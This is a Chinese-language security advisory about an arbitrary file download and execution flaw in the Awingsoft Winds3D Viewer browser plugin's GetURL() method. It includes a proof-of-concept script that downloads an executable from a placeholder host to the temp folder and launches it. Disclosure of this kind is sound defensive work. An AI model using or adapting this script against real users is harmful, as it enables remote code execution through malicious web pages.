Winds3D Viewer ‘GetURL()’任意文件下载漏洞

漏洞起因
输入验证错误
 
影响系统
Awingsoft Winds3D Viewer 3.5.0.0
Awingsoft Winds3D Viewer 3.0.0.5
 
不受影响系统
 
危害
远程攻击者可以利用漏洞下载任意文件并以浏览器上下文执行。
 
攻击所需条件
攻击者必须构建恶意WEB页,诱使用户打开。
 
漏洞信息
Winds3D Viewer是一款基于浏览器的插件,可以查看Awakening生成的3D内容。
Winds3D Viewer插件不正确处理’GetURL()’方法,远程攻击者可以利用漏洞下载任意文件并以浏览器上下文执行。
‘GetURL()’方法实现如下:
GetURL(string URL)
Description: Open browser to visit assigned URL
returns: None
       
调用的GetURL最后会调用ShellExecute(NULL, "open", URL, 0, 0, SW_SHOW)执行,攻击者可以构建恶意WEB页,诱使用户打开,可以以浏览器权限但不包含命令参数的方式执行。
 
测试方法
require ‘scripts\\websession’
require ‘scripts\\webfile’
— evil file to download
local szURL=’http://www.example.com/exploit.exe’
— setup download evil file from the web
ses=websession.new()
file=ses.openURL(szURL)
local destfilename=GetTempFileName()                   — we always want
to download to the %TEMP% directory (write access = sure thing)
destfilename=string.gsub(destfilename, ".tmp", ".exe") — rename to
something shellexecute will launch
file.setDestFile(destfilename)
local filesize=file.seek(0,FILE_END)
file.seek(0,FILE_BEGIN)
local bytescount=0
local readbytes=file.read()
while (readbytes>0) do
bytescount=bytescount + readbytes
readbytes=file.read()
end
— close the descriptors
file.release()
ses.release()
— execute
GetURL(destfilename)
 
厂商解决方案
目前没有解决方案提供:
http://www.awingsoft.com/
 
漏洞提供者
Diego Juarez

发表评论?

0 条评论。

发表评论